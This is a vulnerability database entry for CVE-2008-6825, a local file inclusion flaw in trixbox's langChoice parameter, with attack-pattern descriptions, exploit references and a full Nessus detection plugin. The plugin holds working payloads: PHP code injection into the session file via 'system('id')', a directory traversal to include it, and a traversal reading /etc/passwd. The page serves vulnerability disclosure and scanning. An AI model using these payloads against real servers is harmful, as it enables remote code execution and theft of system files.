Vulnerabilities > CVE-2008-6825 - Path Traversal vulnerability in Trixbox 2.0/2.4.2.0

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
trixbox
CWE-22
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in user/index.php in Fonality trixbox CE 2.6.1 and earlier allows remote attackers to include and execute arbitrary files via a .. (dot dot) in the langChoice parameter.

Vulnerable Configurations

Part Description Count
Application
Trixbox
3

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionTrixbox langChoice PHP Local File Inclusion. CVE-2008-6825. Webapps exploit for php platform
    idEDB-ID:16904
    last seen2016-02-02
    modified2011-01-08
    published2011-01-08
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/16904/
    titleTrixbox CE 2.6.1 - langChoice PHP Local File Inclusion
  • descriptiontrixbox (langChoice) Local File Inclusion Exploit (connect-back) v2. CVE-2008-6825. Remote exploit for linux platform
    fileexploits/linux/webapps/6026.pl
    idEDB-ID:6026
    last seen2016-01-31
    modified2008-07-09
    platformlinux
    port80
    published2008-07-09
    reporterJean-Michel BESNARD
    sourcehttps://www.exploit-db.com/download/6026/
    titletrixbox langChoice - Local File Inclusion Exploit connect-back 2
    typewebapps

Metasploit

descriptionThis module injects php into the trixbox session file and then, in a second call, evaluates that code by manipulating the langChoice parameter as described in OSVDB-50421.
idMSF:EXPLOIT/UNIX/WEBAPP/TRIXBOX_LANGCHOICE
last seen2020-03-23
modified2017-07-24
published2010-12-07
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/trixbox_langchoice.rb
titleTrixbox langChoice PHP Local File Inclusion

Nessus

NASL familyCGI abuses
NASL idTRIXBOX_LANGCHOICE_FILE_INCLUDE.NASL
descriptionThe version of trixbox dashboard installed on the remote host fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id33445
published2008-07-09
reporterThis script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/33445
titletrixbox Dashboard user/index.php langChoice Parameter Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(33445);
  script_version("1.27");
  script_cvs_date("Date: 2018/11/15 20:50:19");

  script_cve_id("CVE-2008-6825");
  script_bugtraq_id(30135);
  script_xref(name:"EDB-ID", value:"6026");

  script_name(english:"trixbox Dashboard user/index.php langChoice Parameter Local File Inclusion");
  script_summary(english:"Tries to read /etc/passwd");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is susceptible to a
local file include attack.");
  script_set_attribute(attribute:"description", value:
"The version of trixbox dashboard installed on the remote host fails to
sanitize user-supplied input to the 'langChoice' parameter of the
'user/index.php' script before using it to include PHP code.
Regardless of PHP's 'register_globals' setting, an unauthenticated
attacker could leverage this issue to view arbitrary files or to
execute arbitrary PHP code on the remote host, subject to the
privileges of the web server user id.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2008/Jul/102");
  # http://web.archive.org/web/20090525044133/http://trixbox.org/devblog/security-vulnerability-2-6-1
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c891c97" );
  script_set_attribute(attribute:"solution", value:
"Versions 2.6.1 and prior are reportedly affected by the issue
referenced above. Consequently, refer to the vendor for patch and/or
upgrade options.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"metasploit_name", value:'Trixbox langChoice PHP Local File Inclusion');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(22);

  script_set_attribute(attribute:"plugin_publication_date", value:"2008/07/09");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:fonality:trixbox");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("trixbox_web_detect.nbin");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP", "www/trixbox");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);
get_kb_item_or_exit("www/trixbox");

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";
file = "/etc/passwd";
file_pat = "root:.*:0:[01]:";

# Loop through directories.
if (thorough_tests) dirs = list_uniq("/user", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Determine if the script exists.
  url = dir + "/index.php";

  r = http_send_recv3(method: "GET", item:url, port:port, exit_on_fail:TRUE);

  # If it does...
  if (
    'form name="langForm"' >< r[2] &&
    'name="langChoice"' >< r[2]
  )
  {
    # Try to identify the default language.
    default_language = "";

    pat = 'option value="([^"]+)" selected="selected"';
    matches = egrep(pattern:pat, string:r[2]);
    if (matches)
    {
      foreach match (split(matches))
      {
        match = chomp(match);
        item = eregmatch(pattern:pat, string:match);
        if (!isnull(item))
        {
          default_language = item[1];
          break;
        }
      }
    }
    if (!default_language) default_language = "english";

    report = "";
    vuln = FALSE;

    # Try to exploit the issue to execute a command.
    #
    # - first, inject the PHP code into the session file.
    exploit = "<?php system('" + cmd + "'); ?>%00";
    postdata = "langChoice=" + exploit;

    r = http_send_recv3(method: "POST", item: url, data: postdata, port: port,
      content_type: "application/x-www-form-urlencoded", exit_on_fail:TRUE);

    # - next, figure out our session id.
    cookie = get_http_cookie(name: "PHPSESSID");
    # - now call the session file.
    if (!isnull(cookie))
    {
      exploit = "../../../../../../../../../../../../tmp/sess_" +cookie+ "%00";
      postdata2 = "langChoice=" + exploit;

      r = http_send_recv3(method: "POST", item: url, data: postdata2, port: port, content_type: "application/x-www-form-urlencoded", exit_on_fail:TRUE);

      if (egrep(pattern:cmd_pat, string:r[2]))
      {
        if (report_verbosity)
        {
          report =
            '\n' +
            'Nessus was able to execute the command "' +cmd+ '" on the remote \n'+
            'host using the following URL :\n' +
            '\n' +
            build_url(port:port, qs:url) + '\n'+
            '\n'+
            'first with the following POST data :\n'+
            '\n'+
            '  ' + str_replace(find:"&", replace:'\n  ', string:postdata) + '\n'+
            '\n'+
            'and then again with the following POST data :\n'+
            '\n'+
            '  ' + str_replace(find:"&", replace:'\n  ', string:postdata2) + '\n';
          if (report_verbosity > 1)
          {
            output = "";
            if ("trixbox_Language|s:" >< r[2])
            {
              output = strstr(r[2], "trixbox_Language|s:") - "trixbox_Language|s:";
              output = strstr(output, ':"') - ':"';
              output = output - strstr(output, '\x00');
            }
            if (!output || !egrep(pattern:cmd_pat, string:output)) output = r[2];
            output = data_protection::redact_etc_passwd(output:output);
            report =
              report+
              '\n'+
              'This produced the following output :\n'+
              '\n'+
              ' ' + output;
          }
        }
        vuln = TRUE;
      }
    }

    # If that failed, try to retrieve a local file.
    if (!vuln)
    {
      exploit = "../../../../../../../../../../../.." + file + "%00";
      postdata3 = "langChoice=" + exploit;

      r = http_send_recv3(method: "POST", item: url, data: postdata3, port: port, content_type: "application/x-www-form-urlencoded", exit_on_fail : TRUE);

      # There's a problem if...
      if (
        # there's an entry for root or...
        egrep(pattern:file_pat, string:r[2]) ||
        # we get an error because magic_quotes was enabled or...
        "(includes/language/" + file +"\\0" >< r[2] ||
        # we get an error claiming the file doesn't exist or...
        "(includes/language/" + file >< r[2] ||
        # we get an error about open_basedir restriction.
        "open_basedir restriction in effect. File(" + file >< r[2]
      )
      {
        if (report_verbosity && egrep(pattern:file_pat, string:r[2]))
        {
          output = "";
          if ("<!DOCTYPE" >< r[2]) output = r[2] - strstr(r[2], "<!DOCTYPE");
          if (!egrep(pattern:file_pat, string:output)) output = r[2];

          report =
            '\n' +
            'Here are the (repeated) contents of the file "' + file + '" that\n'+
            'Nessus was able to read from the remote host :\n'+
            '\n' +
            output;
        }
        vuln = TRUE;
      }
    }

    # Reset the language in the 'cache/sessionsFile.txt' in case it was changed.
    postdata4 = "langChoice=" + default_language;

    r = http_send_recv3(method: "POST", item: url, data: postdata4, port: port, content_type: "application/x-www-form-urlencoded", exit_on_fail:TRUE);

    # Issue a report if a problem was found.
    if (vuln)
    {
      if (report) security_hole(port:port, extra:report);
      else security_hole(port);
      exit(0);
    }
  }
}
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "trixbox", build_url(qs:'/', port:port));